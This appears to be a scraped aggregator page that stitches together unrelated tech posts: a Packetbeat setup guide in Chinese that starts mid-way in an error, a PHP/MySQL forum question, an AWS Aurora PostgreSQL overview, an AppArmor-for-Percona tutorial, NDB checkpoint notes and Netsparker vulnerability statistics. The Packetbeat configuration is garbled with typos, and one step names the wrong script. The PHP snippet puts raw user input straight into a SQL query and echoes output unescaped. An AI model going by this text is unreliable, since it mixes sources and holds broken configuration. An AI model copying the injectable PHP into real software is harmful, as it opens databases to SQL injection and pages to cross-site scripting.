所在位置 行:1 字符: 33
+ .\install-service-packetbeat.ps1 <<<<
    + CategoryInfo          : NotSpecified: (:) [], PSSecurityException
    + FullyQualifiedErrorId : RuntimeException

需要修改该参数执行下面的命令,开启Powershell脚本功能:

PS E:\packetbeat> set-ExecutionPolicy RemoteSigned

Packetbeat 网络流量监控

Packetbeat属于beats产品的一部分,专门负责网络数据包分析,可以:

  • 针对特定的网卡监听流量;
  • 可以设置相关的监听对象和端口号,支持dns,http,memcahce,mysql,pgsql,redis,thrift,mongodb等;
  • 可以输出到特定的目的地,如elasticsearch、logstash、file、console等。

下载

https://www.elastic.co/downloads/beats

部署

linux环境

第一步,解压缩

下载.tar.gz的安装包后,解压:

tar -zxvf packetbeat-1.2.3-x86_64.tar.gz

进入解压后的文件夹,里面有3个文件:

--- packetbeat #启动文件
--- packetbeat.template.json #Elasticsearch中的映射配置
--- packetbeat.yml #Packetbeat的配置文件
第二步,修改配置文件

配置文件包括了几大部分:

# 配置网络监听的显卡
interfaces:
    device:any
# 配置协议
protocols:
    http:
        ports:[80,8080,9000]
    redis:
        ports:[6379]
# 配置输出
output:
    elasticsearch:
        hosts:["localhost:9200"]
        inex:"packetbeat"
        template:
            name:"packetbeat"
            path:"packetbeat.template.json"
            overwrite:false
    logstah:
        hosts:["localhost:5044"]
    file:
        path:"/tmp/packetbeat"
        filename:packetbeat
    console:
shipper:
logging:
第三步,运行

正常的运行:

./packetbeat

如果想要后台运行,则可以像下面这样:

nohup ./packetbeat &

默认日志都会输出到nohup.out中。

windows环境

第一步,解压

相比linux,多了两个powershell的脚本。

--- install-service-packetbeat.ps1 # 注册脚本
--- uninstall-service-packetbeat.ps1 # 注销脚本
--- packetbeat.exe #启动文件
--- packetbeat.template.json #Elasticsearch中的映射配置
--- packetbeat.yml #Packetbeat的配置文件
第二步,以管理员身份进入命令行,运行注册脚本

进入指定的目录,运行注册脚本。

 .\install-service-winlogbeat.ps1
第三步,启动服务
Start-Service packetbeat.exe

对接Elasticsearch

Packetbeat配置如下:

  elasticsearch:
    hosts: ["localhost:9200"]
    index: "packetbeat"
    template:
      name: "packetbeat"
      path: "packetbeat.template.json"

对接logstash

Packetbeat配置如下:

logstash:
    # The Logstash hosts
    hosts: ["localhost:5044"]

logstash采用logstash-input-beats接收,配置可以参考如下:

input{
    beats{
        port => 5044
    }
    stdin{}
}
output{
    stdout{
        codec => rubydebug
    }
    file{
        path => "E:\server.log"
    }
}

存储到file

PacketBeat配置:

  file:
    path: "E:/packetbeat"
    filename: packetbeat

默认是按照文件大小轮询。

日志管理

日志可以设置输出的位置,以及级别。跟平常使用的log4j差不多:

logging:
  files:
    path: E:/mybeat
    name: mybeat
    level: debug

          简单使用packetbeat-斩月-51CTO博客      Cache   Translate Page   Web Page Cache   

在前面两篇文章中记录了使用logstash来收集mysql的慢查询日志,然后通过kibanaweb的方式展示出来,但在生产环境中,需求会更复杂一些,而且通过logstash写正则,实在是个费时费劲的事。例如在生产环境中会有要求分析某个时间段mysql或者mongodb的慢查询日志情况;还有I/O吞吐量;这个时间段内经常执行的查询语句,http访问情况等信息;然后将分析出来的结果以图表的形式展现出来。听起来是不是有点头晕,有点高大上的感觉,其实通过packetbeat,一切将变得简单高效。本文介绍使用packetbeatelasticsearch,kibana实现这个需求。

 

操作系统版本:centos6.6 64bit

Elasticsearch版本:elasticsearch-2.1.0.tar.gz

Kibana版本:Kibana 4.2.1

Packetbeat版本:packetbeat-1.0.0-1.x86_64

Topbeat版本:topbeat-1.0.0-x86_64 topbeat其实是用来收集操作系统信息的)

 

在前两篇文章中未介绍如果安装elasticsearch和kibana,这个其实很简单,基本下载下来解压一下,稍微修改一下配置文件即可运行起来,所有就忽略了,如果有问题,可以自行百度或者bing一下。

目前packetbeat支持的网络协议有http,mysql,postgresql,redis,mongodbthriftPacketet支持pcappf_ring抓包方式,采用哪种方式进行抓包,则需要安装相应的依赖包。

 

一:下载并安装packetbeat

# yum -y install libpcap
# rpm -ivh https://download.elastic.co/beats/packetbeat/packetbeat-1.0.0-x86_64.rpm
# rpm -ivh https://download.elastic.co/beats/topbeat/topbeat-1.0.0-x86_64.rpm

二:向elasticsearch导入packetbeat模板

# curl -XPUT 
'http://192.168.1.226:9200/_template/packetbeat' -d@/etc/packetbeat/packetbeat.template.json

三:修改packetbeat配置文件

# cat /etc/packetbeat/packetbeat.yml  --server15
shipper:
 name: server15
 tags: ["server15"]
interfaces:
  device: any
  type: pcap
  buffer_size_mb: 100
protocols:
  mysql:
    ports: [3306]
output:
  elasticsearch:
    host: 192.168.1.207
    port: 9200
enabled: true
 
# cat /etc/packetbeat/packetbeat.yml  --server226
shipper:
 name: server226
 tags: ["server226"]
interfaces:
  device: eth0
  type: pcap
  buffer_size_mb: 100
 
protocols:  
  mongodb:
    ports: [37017, 38017]
    send_request: true     # index the request payload
    send_response: true    # index the response payload
    max_docs: 10           # maximum number of documents to index per request/response
    max_doc_length: 1024   # maximum document size to index
protocols:
 mysql:
    ports: [3306]
protocols:
 redis:
    ports: [6379]
 
output:
  elasticsearch:
    enabled: true
    host: 192.168.1.207
    port: 9200

四:启动packetbeat服务

# /etc/init.d/packetbeat start

五:导入packetbeat-dashboards

# git clone https://github.com/elastic/packetbeat-dashboards
# cd packetbeat-dashboards
# sh load.sh -url http://192.168.1.207:9200

六:web展示

1: 配置索引,这个在执行完load.sh脚本之后,索引会自动创建

wKiom1ZuiQ_wSfvGAACffDA-MDM552.png

2: 查看客户端的数据推送情况

wKiom1ZuiTnDruz2AADq8GDSF-E663.png

3: 查看导入的面板,可视化视图,点击setting-objects

wKioL1ZuiW7jT1nlAABr3Brl0hc212.png

4: 图形展示,点击dashboard-load save dashboards

Mysql情况:

wKiom1Zuib3B0N8GAAC-SiDsHqY275.png

在有多台mysql服务的情况下,可以根据tags来区分,在搜索框中输入相应的tag,则只显示对应的数据

七:故障排错

1: 在测试过程中曾经发现mysql里面的most frequent Mysql queriesslowest mysql queries数据显示不全,像是被截断的样子,排查后发现其实是模板的问题,删除模板后重新导入即可.

My objective is to populate my collapsible with chosen movie title in the header and plot in the paragraph from mysql data base.

If there is a better way to do this I would appreciate it.

HTML....
<div data-role="main" id="dvdinfo" class="ui-content">

</div>

Upon clicking on the list of movies the function is triggered..

Script...
function getmoviepic_mobile(movietitle){
var Movie = $(movietitle).text();
$('#dvdinfo').load('getuser2_mobile.php', {input:Movie});


Then the movie title is searched in the database and the info is echoed in my php...


PHP ....getuser2_mobile.php

include("includes/connection.php");

$q1=trim($_POST['input']);

$result = mysql_query("SELECT
id,title,actors,plot,catagory,release_date,rated FROM ".TBL_DATA." WHERE
title = '".$q1."' ");

while($row = mysql_fetch_array($result)) {

echo " <div data-role= 'collapsible' >";
echo " <h1>".$row['title']."</h1>";
echo "<p>".$row['plot']."</p>";
echo "</div>";
}

I get the results in "main" but not in collapsible format :(

          Viorel Tabara: An Overview of Amazon RDS & Aurora Offerings for PostgreSQL      Cache   Translate Page   Web Page Cache   

AWS PostgreSQL services fall under the RDS umbrella, which is Amazon’s DaaS offering for all known database engines.

Managed database services offer certain advantages that are appealing to the customer seeking independence from infrastructure maintenance, and highly available configurations. As always, there isn’t a one size fits all solution. The currently available options are highlighted below:

Aurora PostgreSQL

The Amazon Aurora FAQ page provides important details that need to be considered before diving into the product. For example, we learn that the storage layer is virtualized and sits on a proprietary virtualized storage system backed up by SSD.

Pricing

In term of pricing, it must be noted that Aurora PostgreSQL is not available in the AWS Free Tier.

Compatibility

The same FAQ page makes it clear that Amazon doesn’t claim 100% PostgreSQL compatibility. Most (my emphasis) of the applications will be fine, e.g. the AWS PostgreSQL flavor is wire-compatible with PostgreSQL 9.6. As a result, the Wireshark PostgreSQL Dissector will work just fine.

Performance

Performance is also linked to the instance type, for example the maximum number of connections is by default configured based on the instance size.

Also important when it comes to compatibility is the page size that has been kept at 8KiB which is the PostgreSQL default page size. Speaking of pages it’s worth quoting the FAQ: “Unlike traditional database engines Amazon Aurora never pushes modified database pages to the storage layer, resulting in further IO consumption savings.” This is made possible because Amazon changed the way the page cache is managed, allowing it to remain in memory in case of database failure. This feature also benefits the database restart following a crash, allowing the recovery to happen much faster than in the traditional method of replaying the logs.

According to the FAQ referenced above, Aurora PostgreSQL delivers three times the performance of PostgreSQL on SELECT and UPDATE operations. As per Amazon’s PostgreSQL Benchmark White Paper the tools used to measure the performance were pgbench and sysbench. Notable is the performance dependency on the instance type, region selection, and network performance. Wondering why INSERT isn’t mentioned? It is because PostgreSQL ACID compliance (the “C”) requires that an updated record is created using a delete followed by an insert.

In order to take full advantage of the performance improvements, Amazon recommends that applications are designed to interact with the database using large numbers of concurrent queries and transactions. This important factor, is often overlooked leading to poor performance blamed on the implementation.

Limits

There are some limitations to be considered when planning the migration:

  • huge_pages cannot be modified, however it is on by default:

    template1=> select aurora_version();
     aurora_version
    ----------------
     1.0.11
    (1 row)
    
    template1=> show huge_pages ;
     huge_pages
    ------------
     on
    (1 row)
  • pg_hba cannot be used since it requires a server restart. As a side note, that must be a typo in Amazon’s documentation, since PostgreSQL only needs to be reloaded. Instead of relying on pg_hba, administrators will need to use the AWS Security Groups, and PostgreSQL GRANT.
  • PITR granularity is 5 minutes.
  • Cross-region replication is not currently available for PostgreSQL.
  • Maximum size of tables is 64TiB
  • Up to 15 read replicas

Scalability

Scaling up and down the database instance is currently a manual process, that can be done via the AWS Console or CLI, although automatic scaling is in works, however, according to Amazon Aurora FAQ it will only be available for MySQL.

In order to scale horizontally applications must take advantage of AWS SDK APIs, for example in order to achieve fast failover.

High Availability

Moving on to high-availability, in case of primary node failure, Aurora PostgreSQL provides a cluster endpoint as a DNS A record, which is automatically updated internally to point to the replica selected to become master.

Backups

Worth mentioning that if the database is deleted, any manual backup snapshots will be kept, while automatic snapshots are removed.

Replication

Since replicas share the same underlying storage as the primary instance, replication lag is, in theory, in the range of milliseconds.

Amazon recommends read replicas in order to reduce the failover duration. With a read replica on standby the failover process takes about 30 seconds, while without a replica expect up to 15 minutes.

Other good news is that Logical replication is also supported, as shown on page 22.

Although the Amazon Aurora FAQ doesn’t provide details on replication as it does for MySQL, the Aurora PostgreSQL Best Practices provides a useful query for verifying the replication status:

select server_id, session_id, highest_lsn_rcvd,
cur_replay_latency_in_usec, now(), last_update_timestamp from
aurora_replica_status();

The above query yields:

-[ RECORD 1 ]--------------+-------------------------------------
server_id                  | testdb
session_id                 | 9e268c62-9392-11e8-87fc-a926fa8340fe
highest_lsn_rcvd           | 46640889
cur_replay_latency_in_usec | 8830
now                        | 2018-07-29 20:14:55.434701-07
last_update_timestamp      | 2018-07-29 20:14:54-07
-[ RECORD 2 ]--------------+-------------------------------------
server_id                  | testdb-us-east-1b
session_id                 | MASTER_SESSION_ID
highest_lsn_rcvd           |
cur_replay_latency_in_usec |
now                        | 2018-07-29 20:14:55.434701-07
last_update_timestamp      | 2018-07-29 20:14:55-07

Since replication is such an important topic it was worth setting up the pgbench test as outlined in the benchmark white paper referenced above:

[ec2-user@ip-172-31-45-67 ~]$ whoami
ec2-user

[ec2-user@ip-172-31-45-67 ~]$ tail -n 2 .bashrc
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/pgsql/lib
export PATH=$PATH:/usr/local/pgsql/bin/

[ec2-user@ip-172-31-45-67 ~]$ which pgbench
/usr/local/pgsql/bin/pgbench
[ec2-user@ip-172-31-45-67 ~]$ pgbench --version
pgbench (PostgreSQL) 9.6.8

Hint: Avoid unnecessary typing by creating a pgpass file and exporting the host, database, and user environment variables e.g.:

[root@ip-172-31-45-67 ~]#  tail -n 3 ~/.bashrc export
PGUSER=dbadmin
export PGHOST=c1.cluster-ctfirtyhadgr.us-east-1.rds.amazonaws.com
export PGDATABASE=template1

[root@ip-172-31-45-67 ~]# cat ~/.pgpass
*:*:*:dbadmin:password

Run the data initialization command:

[ec2-user@ip-172-31-45-67 ~]$ pgbench -i --fillfactor=90 --scale=10000 postgres

While data initialization is running, capture the replication lag using the above SQL called from within the following script:

while : ; do
   psql -t -q \
      -c 'select server_id, session_id, highest_lsn_rcvd,
                 cur_replay_latency_in_usec, now(), last_update_timestamp
                 from aurora_replica_status();' postgres
   sleep 1
done

Filtering the screenlog output through the following command:

[root@ip-172-31-45-67 ~]# awk -F '|' '{print $4,$5,$6}' screenlog.2 | sort -k1,1 -n | tail

It turns out the replication lagged as much as 8 seconds!

On a related note, AWS CloudWatch metric AuroraReplicaLagMaximum doesn’t agree with the results from the above SQL command. I’d like to know why, so feedback is highly appreciated.

Security

  • Encryption is available and it must be enabled when the database is created, as it cannot be changed afterwards.

Troubleshooting

This short section is an important bit Ensure that the PostgreSQL work_mem is tuned appropriately so sorting operations do not write data to disk.

Setup

Just follow the setup wizard in the AWS Console:

  1. Open up the Amazon RDS management console.

    RDS management console
    RDS management console
  2. Select Amazon Aurora and PostgreSQL edition.

    Aurora PostgreSQL wizard
    Aurora PostgreSQL wizard
  3. Specify the DB details and note the Aurora PostgreSQL password limitations:

    Master Password must be at least eight characters long, as in
    "mypassword". Can be any printable ASCII character except "/", """, or "@".
    Aurora PostgreSQL wizard database details

  4. Configure the database options:

    • As of this writing only PostgreSQL 9.6 available. Use PostgreSQL on Amazon RDS if you need support for more recent versions, including beta previews.
  5. Configure the failover priority, and select the number of replicas.

    Photo description
  6. Set the backup retention (maximum is 35 days).

  7. Select the maintenance schedule. Automatic minor version upgrades are available, however it’s important to verify with AWS support whether or not their patch schedule can be expedited in case the PostgreSQL project releases any urgent updates. As an example, it took more than two months for AWS to push the 2018-05-10 updates.

Connecting to database

Review detailed instructions for available connections options, based on the infrastructure setup. In the simplest scenario the connection is done via a public EC2 instance.

Note: The client must be compatible with PostgreSQL 9.6.3 or above.

[root@ip-172-31-45-67 ~]# psql -U dbadmin -h c1.cluster-ctfirtyhadgr.us-east-1.rds.amazonaws.com template1
Password for user dbadmin:
psql (9.6.8, server 9.6.3)
SSL connection (protocol: TLSv1.2, cipher: DHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

RDS for PostgreSQL

This is an offering allowing more granularity in terms of configuration choices. For example, in contrast to Aurora that uses a proprietary storage system, RDS offers configurable storage using EBS volumes that can be either General Purpose SSD (GP2), or Provisioned IOPS, or magnetic (not recommended).

In order to assist large installations, requiring customization not available in the Aurora offering, Amazon has recently released the Best practices recommendations, only available for RDS.

High availability must be configured manually (or automated using any of the known AWS tools) and it is recommended to setup a Multi-AZ deployment.

Replication is implemented using the PostgreSQL native replication.

There are some limits for PostgreSQL DB instances that need to be considered.

With the above notes in mind here’s a walkthrough for setting up an RDS PostgreSQL Multi-AZ environment:

  1. From the RDS Management Console start the wizard

    RDS PostgreSQL wizard

Conclusion

Amazon RDS Services for PostgreSQL include RDS PostgreSQL and Aurora PostgreSQL, both being managed DaaS offerings. Packed with plenty of features and solid backend storage they do have some limitations over the traditional setup, however, with careful planning these offerings can provide a well balanced cost-functionality ratio. Amazon RDS for PostgreSQL is targeted towards users requiring more options for configuring their environments, and is generally more expensive. Majority of users will benefit from starting up with Aurora PostgreSQL and work their way into more complex configurations.

          Lock Down: Enforcing AppArmor with Percona XtraDB Cluster      Cache   Translate Page   Web Page Cache   
Recently, I wrote a blog post showing how to enforce SELinux with Percona XtraDB Cluster (PXC). The Linux distributions derived from RedHat use SELinux. There is another major mandatory discretionary access control (DAC) system, AppArmor. Ubuntu, for example, installs AppArmor by default. If you are concerned by computer security and use PXC on Ubuntu, you should enforce AppArmor. This post will guide you through the steps of creating a profile for PXC and enabling it. If you don’t want to waste time, you can just grab my profile, it seems to work fine. Adapt it to your environment if you are using non-standard paths. Look at the section “Copy the profile” for how to install it. For the brave, let’s go! Install the tools In order to do anything with AppArmor, we need to install the tools. On Ubuntu 18.04, I did: apt install apparmor-utils The apparmor-utils package provides the tools we need to generate a skeleton profile and parse the system logs. Create a skeleton profile AppArmor is fairly different from SELinux. Instead of attaching security tags to resources, you specify what a given binary can access, and how, in a text file. Also, processes can inherit permissions from their parent. We will only create a profile for the mysqld_safe script and it will cover the mysqld process and the SST scripts as they are executed under it. You create the skeleton profile like this: root@BlogApparmor2:~# aa-autodep /usr/bin/mysqld_safe Writing updated profile for /usr/bin/mysqld_safe. On Ubuntu 18.04, there seems to be a bug. I reported it and apparently I am not the only one with the issue. If you get a “KeyError” error with the above command, try: root@BlogApparmor2:~# echo "#include <abstractions>" > /etc/apparmor.d/scripts root@BlogApparmor2:~# aa-autodep /usr/bin/mysqld_safe The aa-autodep command creates the profile “usr.bin.mysqld_safe” in the /etc/apparmor.d directory. The initial content is: root@BlogApparmor2:~# cat /etc/apparmor.d/usr.bin.mysqld_safe # Last Modified: Wed Jul 25 18:56:31 2018 #include <tunables/global> /usr/bin/mysqld_safe flags=(complain) { #include <abstractions/base> #include <abstractions/bash> /bin/dash ix, /lib/x86_64-linux-gnu/ld-*.so mr, /usr/bin/mysqld_safe r, } I suggest you add, ahead of time, things you know are needed. In my case, I added: /etc/mysql/** r, /usr/bin/innobackupex mrix, /usr/bin/wsrep_sst_xtrabackup-v2 mrix, /usr/lib/galera3/* r, /usr/lib/mysql/plugin/* r, /usr/sbin/mysqld mrix, /var/log/mysqld.log w, owner /tmp/** rw, owner /var/lib/mysql/** rwk, This will save time on redundant questions later. Those entries are permissions granted to mysqld_safe. For example, /etc/mysql** r  allows to read everything in /etc/mysql  and its subdirectories. These lines need to go right after the /usr/bin/mysqld_safe r,  line. Once done, parse and load the profile with:root@BlogApparmor2:~# apparmor_parser -r /etc/apparmor.d/usr.bin.mysqld_safe Get a well behaved SST script If you read my previous blog post on SELinux, you may recall the wsrep_sst_xtrabackup-v2  script does not behave well, security wise. The Percona developers have released a fixed version but it may not be available yet in a packaged form. In the meantime, you can download it from github. Start iterating My initial thought was to put the profile in complain mode, generate activity and parse the logs with aa-logprof to get entries to add to the profile. Likely there is something I am doing wrong but in complain mode, aa-logprof detects nothing. In order to get something I had to enforce the profile with: root@BlogApparmor2:~# aa-enforce /etc/apparmor.d/usr.bin.mysqld_safe Then, I iterated many times—like more than 20—over the following sequence: rm -rf /var/lib/mysql/* # optional systemctl start mysql & tail -f /var/log/mysqld.log /var/log/kern.log systemctl stop mysql ps fax | egrep ‘mysqld_safe|mysqld’ | grep -v grep | awk ‘{print $1}’ | xargs kill -9 # sometimes aa-logprof if something was not right, jump back to step 1 See the next section for how to run aa-logprof. Once that sequence worked well, I tried SST (joiner/donor) roles and IST. Parse the logs with aa-logprof Now, the interesting part begins, parsing the logs. Simply begin the process with: root@BlogApparmor2:~# aa-logprof and answer the questions. Be careful, I made many mistakes before I got it right, remember I am more a DBA than a Sysadmin. For example, you’ll get questions like: Profile: /usr/sbin/mysqld Path: /etc/hosts.allow New Mode: r Severity: unknown [1 - #include <abstractions/lxc/container-base>] 2 - #include <abstractions/lxc/start-container> 3 - /etc/hosts.allow r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / Abo(r)t / (F)inish AppArmor asks you how it should provide read access to the /etc/hosts.allow  file. If you answer right away with “A”, it will add #include <abstractions/lxc/container-base> to the profile. With all the dependencies pulled by the lxc-related includes, you basically end up allowing nearly everything. You must first press “3” to get:Profile: /usr/sbin/mysqld Path: /etc/hosts.allow New Mode: r Severity: unknown 1 - #include <abstractions/lxc/container-base> 2 - #include <abstractions/lxc/start-container> [3 - /etc/hosts.allow r,] (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / Abo(r)t / (F)inish Notice the “[ ]” have moved to the bottom entry and then, press “A”. You’ll also get questions like: Profile: /usr/bin/mysqld_safe Execute: /bin/sed Severity: unknown (I)nherit / (C)hild / (N)amed / (X) ix On / (D)eny / Abo(r)t / (F)inish For such a question, my answer is “I” for inherit. After a while, you’ll get through all the questions and you’ll be asked to save the profile: The following local profiles were changed. Would you like to save them? [1 - /usr/bin/mysqld_safe] (S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t Writing updated profile for /usr/bin/mysqld_safe. Revise the profile Do not hesitate to edit the profile if you see, for example, many similar file entries which could be replaced by a “*” or “**”. If you manually modify the profile, you need to parse it to load your changes: root@BlogApparmor2:~# apparmor_parser -r /etc/apparmor.d/usr.bin.mysqld_safe Copy the profile Once you have a server running with AppArmor enforced on PXC, simply copy the profile to the other servers and parse it. For example: root@BlogApparmor3:~# cd /etc/apparmor.d root@BlogApparmor3:/etc/apparmor.d# scp ubuntu@10.0.4.76:/etc/apparmor.d/usr.bin.mysqld_safe . ubuntu@10.0.4.76's password: usr.bin.mysqld_safe 100% 2285 3.0MB/s 00:00 root@BlogApparmor3:/etc/apparmor.d# aa-enforce usr.bin.mysqld_safe Setting /etc/apparmor.d/usr.bin.mysqld_safe to enforce mode. You can always verify if the profile is enforced with: root@BlogApparmor3:/etc/apparmor.d# aa-status apparmor module is loaded. 42 profiles are loaded. 20 profiles are in enforce mode. /sbin/dhclient ... /usr/bin/mysqld_safe ... man_groff Once enforced, I strongly advise to monitor the log files on a regular basis to see if anything has been overlooked. Similarly if you encounter a strange and unexpected behavior with PXC. Have the habit of checking the logs, it might save a lot of frustrating work. Conclusion As we have just seen, enabling AppArmor with PXC is not a difficult task, it just requires some patience. AppArmor is an essential component of a layered security approach. It achieves similar goals as the other well known DAC framework, SELinux. With the rising security concerns and the storage of sensitive data in databases, there are compelling reasons to enforce a DAC framework. I hope these two posts will help DBAs and Sysadmins to configure and enable DAC for PXC. The post Lock Down: Enforcing AppArmor with Percona XtraDB Cluster appeared first on Percona Database Performance Blog.
          Optimising scan filter for checkpoints in NDB      Cache   Translate Page   Web Page Cache   
When loading massive amounts of data into NDB when testing the newadaptive checkpoint speed I noted that checkpoints slowed down as thedatabase size grew.I could note in debug logs that the amount of checkpoint writes wasdropping significantly at times. After some investigation I discoveredthe root cause.The checkpoint algorithm in NDB requires all changed rows to be writtento the checkpoint even if it is not a part that is fully checkpointed.This means that each row has to be scanned to discover if it has beenwritten.When loading 600 GByte of DBT2 data we have more than two billion rowsin the database. Scanning two billion rows takes around 15-20 secondswhen simultaneously handling lots of inserts.This slowed down checkpoints and in addition it uses a lot of CPU.Thus we wanted a more efficient scanning algorithm in this case.The solution is based on dividing the database into larger segments.When updating a row, one has to ensure that a flag on the largersegment is also updated. A simple first approach is to implementthis on page level for our fixed size pages. Every row has an entryin the fixed size. This part contains the row header and all fixedsize columns that are not defined as using DYNAMIC storage.In DBT2 this means that most fixed size pages have around 300 rowentries. Thus we can check one page and if no row has been changedwe can skip checking 300 row entries.When data size grows to TBytes and we checkpoint every 10-20 seconds,the risk of a row in a page being updated is actually fairly low.Thus this simple optimisation brings down the slowdown of thecheckpoints to small parts of a second.Obviously it is possible to use smaller regions and also larger regionsto control this if required.This is an important improvement of the checkpointing inMySQL Cluster 7.6.7.
          Scheduling challenges of checkpoints in NDB      Cache   Translate Page   Web Page Cache   
The NDB data nodes are implemented using asynchronous programming. The model isquite simple. One can send asynchronous messages on two priority levels, theA-level is high priority messages that are mainly used for various managementactions. The B-level represents the normal priority level where all normalmessages handling transactions are executed.It is also possible to send delayed signals that will wait for a certainnumber of milliseconds before being delivered to the receiver.When developing MySQL Cluster 7.4 we noted a problem with local checkpoints. Iftransaction load was extremely high, the checkpoints almost stopped. If such asituation stays for too long, we will run out of REDO log.To handle this we introduced a special version of delayed signals. This newsignal will be scheduled such that at most around 75 messages are executedbefore this message is delivered. There can be thousands of messages waitingin queue, so this gives a higher priority to this signal type.This feature was used to get control of checkpoint execution and introduced inMySQL Cluster 7.4.7. With this feature each LDM thread will at least be ableto deliver 10 MBytes of checkpoint writes per second.With the introduction of adaptive checkpoint speed this wasn't enough. In asituation where we load data into NDB Cluster we might need to write muchmore data to the checkpoints.To solve this we keep track of how much data we need to write per second toensure that we don't run out of REDO log.If the REDO log comes to a critical point where the risk of running out ofREDO log is high, we will raise priority of checkpointing even higher suchthat we can ensure that we don't run out of REDO log.This means that during a critical situation, normal transaction throughputwill decrease since we will put a lot of effort into ensuring that we don'tget into a situation of a complete stop due to running out of REDO log.We solve this by executing checkpoint scans without real-time breaks for anumber of rows and if we need to continue writing checkpoints we send amessage on A-level to ourself to continue without giving transactions achance to come in. When we written enough we will give the transactions achance again by sending the new special delayed signal.The challenge that we get here is that checkpoints must be prioritised overnormal transactions in many situations. At the same time we want theprioritisation to be smooth to avoid start and stop situations that caneasily cause ripple effects in a large cluster.This improved scheduling of checkpoints was one part of the solution tothe adaptive checkpoint speed that is introduced in MySQL Cluster 7.6.7.

          State of Security for Open Source Web Applications 2018      Cache   Translate Page   Web Page Cache   

Infographic highlighting the State of Security for Open Source Web Applications 2018Each year, we publish a set of statistics summarizing the vulnerabilities we find in open source web applications. Our tests form part of Netsparker's quality assurance practices, during which we scan thousands of web applications and websites. This helps us to add to our security checks and continuously improve the scanner's accuracy.

This blog post includes statistics based on security research conducted throughout 2017. But first, we take a look at why we care about open source applications, and the damage that can be caused for enterprises when they go wrong.

Why Do Workplaces Use Open Source Software?

The reason for the rise in popularity of open source software in the business world is financial: your enterprise is getting great software for free. Some enterprises resonate with the open source philosophy of collaboration and giving back. This helps explain why big companies like Twitter, Tumblr, Netflix and Pinterest use and advocate for open source.

Netsparker has a natural interest in the security aspect of open source software, and also a very question; since the source code of open source projects is publically available, does that make these applications more or less secure than proprietary or closed software?

What Happens When Open Source Goes Wrong?

The global average cost of a data breach in 2017 was $3.62 million. In May to July of 2017, Equifax suffered a massive cyber-security breach, with attackers accessing hundreds of millions of customers' personal data. Although they announced this breach in September 2017, Equifax was informed in 2016 that their website was vulnerable, and was even told which vulnerabilities to check.

Hackers exploiting open source Apache Struts vulnerabilities were blamed for the Equifax breach. Although a deserialization vulnerability in the REST plugin of Apache Struts was initially blamed, an OGNL Expression Injection vulnerability in Struts was found to be the cause for the breach.

Even though a vast amount of personal data was being exposed due to the Equifax breach, a significantly higher number of users were potentially affected by another security bug in readily available open source software. ROBOT (Return Of Bleichenbacher's Oracle Threat) is a type of attack that revives a 19-year old vulnerability. Bleichenbacher’s RSA vulnerability is still very prevalent in the Internet and affected top domains like Facebook and Paypal, along with many other vendors and open source projects. In December 2017, Netsparker released a hotfix version of our web application security scanner that included ROBOT security checks.

Why Does Netsparker Care About Open Source?

One of the best ways to demonstrate the effectiveness of Netsparker web application security scanner is to test it against a wide variety of web applications used on the web. So our security researchers scan a great variety of open source web applications including: shopping carts and e-commerce solutions, social networking web applications, forums and blogs. The complexity of the testing environment increases when you consider the big number of languages used to create web applications, such as: PHP, Java, Ruby on Rails, ASP.NET, Node.JS, Python and other frameworks.

The only reason – aside from an awesome team of dedicated Security Researchers – that we are able to scan so many web applications and detect so many vulnerabilities across such a wide range, is because automation is at the heart of the Netsparker's web application security scanning technology.

There are a couple of neat side benefits. Open source applications development teams get free security testing, empowering them to write more secure code. If you'd like to conduct your own, free, automated web application security testing, and read more about how we're huge supporters of the open source community, see our offer of Free Online Web Security Scans For Open Source Projects.

What Did Netsparker Discover About the State of Open Source Security In 2017?

What Is The Most Prolific Vulnerability in Open Source Applications?

The most predominant vulnerability discovered in open source web applications was Reflected XSS. This accounted for almost 70% of the overall number of reported vulnerabilities. All kinds of Cross-site Scripting (XSS) vulnerabilities ranked as number seven in the OWASP Top 10 List for 2017.

How Many Web Applications Did We Scan in 2017?

How Has the State of Web Application Security Changed Since 2016?

Compared to our findings from last year's open source testing (see our previous Statistics About the Security State of 104 Open Source Web Applications), it's clear that XSS vulnerabilities remain, by far, the most common type of vulnerability to be found in open source web applications. The reason for this is that developers who are keen to provide rich interaction in modern web applications use JavaScript in the client-side.

Whereas last year SQL Injection vulnerabilities came in second place, this year Frame Injection vulnerabilities have replaced them. The top development languages, frameworks and database servers remains the same.

How Has the State of Web Application Security Changed Since 2016?

What Action Did the Open Source Applications Take?

If you consult our Web Application Advisories by Netsparker list, you can see that we published 32 advisories in 2017. In addition, there are 28 in pending mode. Of these 32, 28 vendors were contacted. Out of the 59 reported web applications with vulnerabilities, only six were fixed. The number of advisories with multiple vulnerabilities was three.

Would Your Open Source Project Benefit From Free Web Vulnerability Scans?

Based on our latest statistics, a randomly-selected web application may include an average of 2.25 vulnerabilities. Developers could eliminate many of these by taking security best practice into account during the SDLC.

Does your team have time to conduct penetration testing to find them all? And, do you know what to do, to remove the vulnerability, and determine whether it is gone? Would you like to have access to an automated web application security scanning solution that would detect them all – and offer remediation recommendations?

Netsparker offers Free Online Web Application Security Scans for Open Source Projects. This is our token of appreciation to all the developers in the open source community and Netsparker's way of giving back to you. Open source projects such as OpenCart have already used our free, automated web application security scans with great success. Why not you, too?
